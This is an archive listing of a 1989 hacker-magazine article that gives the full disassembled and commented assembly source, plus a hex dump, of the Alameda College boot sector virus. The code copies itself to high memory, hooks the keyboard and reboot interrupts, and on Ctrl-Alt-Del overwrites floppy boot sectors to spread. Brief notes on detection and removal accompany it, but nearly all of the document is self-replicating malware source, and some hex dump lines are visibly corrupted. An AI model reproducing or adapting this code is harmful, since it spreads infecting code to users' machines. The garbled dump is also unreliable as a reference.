home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOOTVIR.ASM < prev    next >
Assembly Source File  |  1991-06-03  |  20KB  |  431 lines

  1.  
  2.                     P/HUN Issue #4, Volume 2: Phile 3 of 11
  3.                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4.                              A BOOT SECTOR VIRUS
  5.                                  5/15/89
  6.  
  7.  
  8. The following is a disassembled and commented version of the Alemeda 
  9. College Boot infector virus.  Courtesy of Southern Cross.
  10.  
  11.  
  12. ;-----------------------------------------------------------------------;
  13. ; This virus is of the "FLOPPY ONLY" variety.                           ;
  14. ; It replicates to the boot sector of a floppy disk and when it gains control  
  15. ; it will move itself to upper memory.  It redirects the keyboard       ;
  16. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  17. ; it will attempt to infect any floppy it finds in drive A:.            ;
  18. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  19. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  20. ; and should that area be used by a file, the virus                     ;
  21. ; will die.  It also contains no anti detection mechanisms as does the  ;
  22. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  23. ; sector 9 because this is common to all floppy formats both single     ;
  24. ; sided and double sided.  It does not contain any malevolent TROJAN    ; 
  25. ; HORSE code.  It does appear to contain a count of how many times it   ;
  26. ; has infected other diskettes although this is harmless and the count  ;
  27. ; is never accessed.                                                    ;
  28. ;                                                                       ;
  29. ; Things to note about this virus:                                      ;
  30. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  31. ; is its primary (only for that matter) means of reproduction to other  ;
  32. ; floppy diskettes.  The only way to remove it from an infected system  ;
  33. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  34. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  35. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  36. ; it activates and infectes the floppy from which the user is           ;
  37. ; attempting to boot.                                                   ;
  38. ;                                                                       ;
  39. ; Also note that because of the POP CS command to pass control to       ;
  40. ; its self in upper memory, this virus does not to work on 80286        ;
  41. ; machines (because this is not a valid 80286 instruction).             ;
  42. ;                                                                       ;
  43. ; The Norton Utilities can be used to identify infected diskettes by    ;
  44. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  45. ; remove it (unlike the Pakistani Brain).                               ;
  46. ;-----------------------------------------------------------------------;
  47.                         ;
  48.     ORG  7C00H               ;
  49.                         ;
  50. TOS LABEL     WORD           ;TOP OF STACK
  51. ;-----------------------------------------------------------------------;
  52. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  53. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  54. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  55. ; 4. Jump to ourself at top of memory                                   ;
  56. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  57. ;-----------------------------------------------------------------------;
  58. BEGIN:   CLI                 ;INITIALIZE STACK
  59.     XOR  AX,AX               ;
  60.     MOV  SS,AX               ;
  61.     MOV  SP,offset TOS       ;
  62.     STI                 ;
  63.                         ;
  64.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  65.     MOV  DS,BX               ;
  66.     MOV  AX,[0013H]          ;
  67.     MUL  BX             ;
  68.     SUB  AX,07E0H       ;   (7C00H+512)/16
  69.     MOV  ES,AX               ;
  70.                         ;
  71.     PUSH CS             ;DS = CS
  72.     POP  DS             ;
  73.                         ;
  74.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  75.     JNE  B_10           ;
  76.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  77.                         ;
  78. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  79.     MOV  DI,SI               ;
  80.     MOV  CX,512              ;
  81.     CLD                 ;
  82.     REP  MOVSB               ;
  83.                         ;
  84.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  85.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  86.     MOV  CX,128              ;
  87.     REP  MOVSB               ;
  88.                         ;
  89.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  90.                         ;
  91.     PUSH ES   ;ES=HI         ;JUMP TO OUR HI CODE WITH
  92.     POP  CS             ;   CS = ES
  93.                         ;
  94.     PUSH DS   ;DS=0          ;ES = DS
  95.     POP  ES             ;
  96.                         ;
  97.     MOV  BX,SP     ;SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  98.     MOV  DX,CX     ;CX=0          ;   DRIVE A: HEAD 0
  99.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  100.     MOV  AX,0201H       ;   READ SECTOR
  101.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  102.     JB   $              ;   HANG IF ERROR
  103.                         ;
  104.     JMP  JMP_BOOT       ;JMP 0000:7C00
  105.                         ;
  106. ;-----------------------------------------------------------------------;
  107. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  108. ;                                                                       ;
  109. ; ON ENTRY:   DS = 0                                                    ;
  110. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  111. ;             WHERE NEW_09 IS         (HI)                              ;
  112. ;-----------------------------------------------------------------------;
  113. PUT_NEW_09:                  ;
  114.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  115.                         ;
  116.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  117.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  118.     MOV  CX,0004             ;
  119.                         ;
  120.     CLI                 ;
  121.     REP  MOVSB               ;
  122.     MOV  Word Ptr [9*4],offset NEW_09
  123.     MOV  [(9*4)+2],ES        ;
  124.     STI                 ;
  125.                         ;
  126.     RET                 ;
  127.                         ;
  128. ;-----------------------------------------------------------------------;
  129. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  130. ;-----------------------------------------------------------------------;
  131. ACK_KEYBD:                   ;
  132.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  133.     MOV  AH,AL               ;
  134.     OR   AL,80H              ;
  135.     OUT  61H,AL              ;
  136.     XCHG AL,AH               ;
  137.     OUT  61H,AL              ;
  138.     JMP  RBOOT               ;
  139.                         ;
  140. ;-----------------------------------------------------------------------;
  141. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  142. ; REASON UNKNOWN                                                        ;
  143. ;-----------------------------------------------------------------------;
  144. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  145.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  146.     DB   27H,0,3,2      ;
  147.     DB   27H,0,4,2      ;
  148.     DB   27H,0,5,2      ;
  149.     DB   27H,0,6,2      ;
  150.     DB   27H,0,7,2      ;
  151.     DB   27H,0,8,2      ;
  152.                         ;
  153. ;A7C9A   LABEL     BYTE           ;
  154.     DW   00024H              ;NOT USED
  155.     DB   0ADH           ;
  156.     DB   07CH           ;
  157.     DB   0A3H           ;
  158.     DW   00026H              ;
  159.                         ;
  160. ;L7CA1:                      ;
  161.     POP  CX             ;NOT USED
  162.     POP  DI             ;
  163.     POP  SI             ;
  164.     POP  ES             ;
  165.     POP  DS             ;
  166.     POP  AX             ;
  167.     POPF                ;
  168.     JMP  1111:1111      ;
  169.                         ;
  170. ;-----------------------------------------------------------------------;
  171. ; IF ALT & CTRL & DEL THEN ...                                          ;
  172. ; IF ALT & CTRL & ? THEN ...                                            ;
  173. ;-----------------------------------------------------------------------;
  174. NEW_09:  PUSHF                    ;
  175.     STI                 ;
  176.                         ;
  177.     PUSH AX             ;
  178.     PUSH BX             ;
  179.     PUSH DS             ;
  180.                         ;
  181.     PUSH CS             ;DS=CS
  182.     POP  DS             ;
  183.                         ;
  184.     MOV  BX,[ALT_CTRL]       ;BX=SCAN CODE LAST TIME
  185.     IN   AL,60H              ;GET SCAN CODE
  186.     MOV  AH,AL               ;SAVE IN AH
  187.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  188.                         ;
  189.     CMP  AL,1DH              ;IS IT A [CTRL]...
  190.     JNE  N09_10              ;...JUMP IF NO
  191.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  192.     JMP  N09_30              ;
  193.                         ;
  194. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  195.     JNE  N09_20              ;...JUMP IF NO
  196.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  197.     JMP  N09_30              ;
  198.                         ;
  199. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  200.     JNE  N09_30              ;...JUMP IF NO
  201.                         ;
  202.     CMP  AL,17H              ;IF [I]...
  203.     JE   N09_X0              ;...JUMP IF YES
  204.     CMP  AL,53H              ;IF [DEL]...
  205.     JE   ACK_KEYBD      ;...JUMP IF YES
  206.                         ;
  207. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  208.                         ;
  209. N09_90:  POP  DS             ;
  210.     POP  BX             ;
  211.     POP  AX             ;
  212.     POPF                ;
  213.                         ;
  214.     DB   0EAH           ;JMP F000:E987
  215. OLD_09   DW   ?              ;
  216.     DW   0F000H              ;
  217.                         ;
  218. N09_X0:  JMP  N09_X1              ;
  219.                         ;
  220. ;-----------------------------------------------------------------------;
  221. ;                                                                       ;
  222. ;-----------------------------------------------------------------------;
  223. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  224.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  225.     OUT  DX,AL               ;
  226.     CALL DELAY               ;
  227.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  228.                         ;
  229.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  230.     INT  10H            ;
  231.     MOV  AH,2           ;SET CURSOR POS 0,0
  232.     XOR  DX,DX               ;
  233.     MOV  BH,DH               ;   PAGE 0
  234.     INT  10H            ;
  235.                         ;
  236.     MOV  AH,1           ;SET CURSOR TYPE
  237.     MOV  CX,0607H       ;
  238.     INT  10H            ;
  239.                         ;
  240.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  241.     CALL DELAY               ;
  242.                         ;
  243.     CLI                 ;
  244.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  245.                         ;
  246.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  247.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  248.     MOV  SI,offset BEGIN - 128    ;
  249.     MOV  CX,128              ;
  250.     CLD                 ;
  251.     REP  MOVSB               ;
  252.                         ;
  253.     MOV  DS,CX     ;CX=0          ;DS=0
  254.                         ;
  255.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  256.     MOV  [(19H*4)+2],CS      ;
  257.                         ;
  258.     MOV  AX,0040H       ;DS = ROM DATA AREA
  259.     MOV  DS,AX               ;
  260.                         ;
  261.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  262.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  263.                         ;
  264.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  265.     MOV  AX,0F000H      ;
  266.     MOV  DS,AX               ;
  267.     CMP  Word Ptr [0E502H],21E4H  ;
  268.     POP  DS             ;
  269.     JE   R_90           ;
  270.     INT  19H            ;   IF NOT...REBOOT
  271.                         ;
  272. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  273.                         ;
  274. ;-----------------------------------------------------------------------;
  275. ; REBOOT INT VECTOR                                                     ;
  276. ;-----------------------------------------------------------------------;
  277. NEW_19:  XOR  AX,AX               ;
  278.                         ;
  279.     MOV  DS,AX               ;DS=0
  280.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  281.     TEST AL,1           ;IF FLOPPY DRIVES ...
  282.     JNZ  N19_20              ;...JUMP
  283. N19_10:  PUSH CS             ;ELSE ES=CS
  284.     POP  ES             ;
  285.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  286.     INT  18H            ;LOAD BASIC
  287.                         ;
  288. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  289.                         ;
  290. N19_22:  PUSH CX             ;
  291.     MOV  AH,00               ;RESET DISK
  292.     INT  13             ;
  293.     JB   N19_81              ;
  294.     MOV  AX,0201             ;READ BOOT SECTOR
  295.     PUSH DS             ;
  296.     POP  ES             ;
  297.     MOV  BX,offset BEGIN          ;
  298.     MOV  CX,1           ;TRACK 0, SECTOR 1
  299.     INT  13H            ;
  300. N19_81:  POP  CX             ;
  301.     JNB  N19_90              ;
  302.     LOOP N19_22              ;
  303.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  304.                         ;
  305. ;-----------------------------------------------------------------------;
  306. ; Reinfection segment.                                                  ;
  307. ;-----------------------------------------------------------------------;
  308. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  309.     JNZ  RE_INFECT      ;...RE INFECT
  310.                         ;
  311. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  312.     JMP  0000:7C00H          ;
  313.                         ;
  314. ;-----------------------------------------------------------------------;
  315. ; Reinfection Segment.                                                  ;
  316. ;-----------------------------------------------------------------------;
  317. RE_INFECT:                   ;
  318.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  319.     MOV  CX,00E6H       ;   OURSELF
  320.     MOV  DI,SI               ;
  321.     PUSH CS             ;
  322.     POP  ES             ;
  323.     CLD                 ;
  324.     REPE CMPSB               ;
  325.     JE   RI_12               ;IF NOT EQUAL...
  326.                         ;
  327.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  328.                         ;
  329. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  330.     MOV  BX,offset TABLE          ;FORMAT INFO
  331.     MOV  DX,0000             ;DRIVE A: HEAD 0
  332.     MOV  CH,40-1             ;TRACK 39
  333.     MOV  AH,5           ;FORMAT
  334.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  335.                         ;
  336. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  337.     JB   RI_80               ;
  338.                         ;
  339. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  340. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  341.     MOV  BX,offset BEGIN          ;TRACK 40H
  342.     MOV  CL,8           ;SECTOR 8
  343.     MOV  AX,0301H       ;WRITE 1 SECTOR
  344.     INT  13H            ;
  345.                         ;
  346.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  347.     POP  ES             ;
  348.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  349.                         ;
  350.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  351.     MOV  AX,0301             ;
  352.     INT  13H            ;
  353.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  354.                         ;
  355. RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
  356.     INT  19H            ;...FLAG AND REBOOT
  357.                         ;
  358. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  359.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  360.     JMP  JMP_BOOT       ;
  361.                         ;
  362. ;-----------------------------------------------------------------------;
  363. ;                                                                       ;
  364. ;-----------------------------------------------------------------------;
  365. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  366.                         ;
  367.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  368.     MOV  BX,0040H       ;
  369.     MOV  DS,BX               ;
  370.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  371.     JMP  N09_90              ;
  372.                         ;
  373. ;-----------------------------------------------------------------------;
  374. ; DELAY                                                                 ;
  375. ;                                                                       ;
  376. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  377. ;-----------------------------------------------------------------------;
  378. DELAY:   SUB  CX,CX               ;
  379. D_01:    LOOP $              ;
  380.     SUB  AH,1           ;
  381.     JNZ  D_01           ;
  382.     RET                 ;
  383.                         ;
  384. ;-----------------------------------------------------------------------;
  385. ;                                                                       ;
  386. ;-----------------------------------------------------------------------;
  387. A7DF4         DB   27H,00H,8,2
  388.  
  389. COUNTER_1     DW   001CH
  390. ALT_CTRL DW   0
  391.  
  392. A7DFC         DB   27H,0,8,2
  393.  
  394. END
  395. ;-----------------------------------------------------------------------;
  396. ; Hexadecimal representation.                                           ;
  397. ;-----------------------------------------------------------------------;
  398. ;7C00    FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13   z1@.P<.|{;@..[!.
  399. ;7C10    00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04   .wc-`..@....V4u.
  400. ;7C20    FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE   ..x}.f.w9..|s$.N
  401. ;7C30    BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89   ?.{9..s$h.......
  402. ;7C40    E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01   c.J9.'8..M.r~i8.
  403. ;7C50    FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4   ....>$.?f|9..zs$
  404. ;7C60    C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4   G.$.-|..&.{Cda.D
  405. ;7C70    0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00   ..fa.Dfaks'...'.
  406. ;7C80    02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00   ..'...'...'...'.
  407. ;7C90    06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26   ..'...'.$.-|#&
  408. ;7CA0   09 5F 5E 07 1F 58 9D-EA 11 11 1 FB    .Y_^..X.j.....{P
  409. ;7CB0    53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88    S.....z}d`.D%..<
  410. ;7CC0    1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E    .u..ck.<8u..gk..
  411. ;7CD0    FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E    {..u.<.t.<St...z
  412. ;7CE0    7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
  413. ;7CF0    B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02  ..nhs.#z}0.M.4.
  414. ;7D00    31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04   1R..4.9..M.8 .
  415. ;7D10    E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00   hW.zfA.O>.{9..
  416. ;7D20    FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8   |s$.YG.R}..f.8
  417. ;7D30    40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0   @..X.&.....8.p
  418. ;7D4    8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5   .X.>.ed!.t.M.e
  419. ;7D50    00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8   .p1@.X!..(.u..
  420. ;7D60    EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01   n~M.9..Q4.M.r.8
  421. ;7D70    02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7   ...;.|9..M.Ys.bg
  422. ;780    EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C   k[..V4u|..>.|
  423. ;7D90    B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8   9f..w..|t-&..x
  424. ;7DA0    7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E   };z|:..5.k.r..
  425. ;7DB0    C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9   B;.|1.8....r.9
  426. ;7DC0    01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F   ..8..M.rV4M.h.
  427. ;7DD0    FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB   ~&..x}k0}!x};
  428. ;7DE0    40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC   @..[#r.iwIb~.l
  429. ;7DF0    01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02   .uyC'.....'...
  430. ;---------------------------------------------------------------------;
  431. End of commented code for the Alameda College Boot Infector Virus.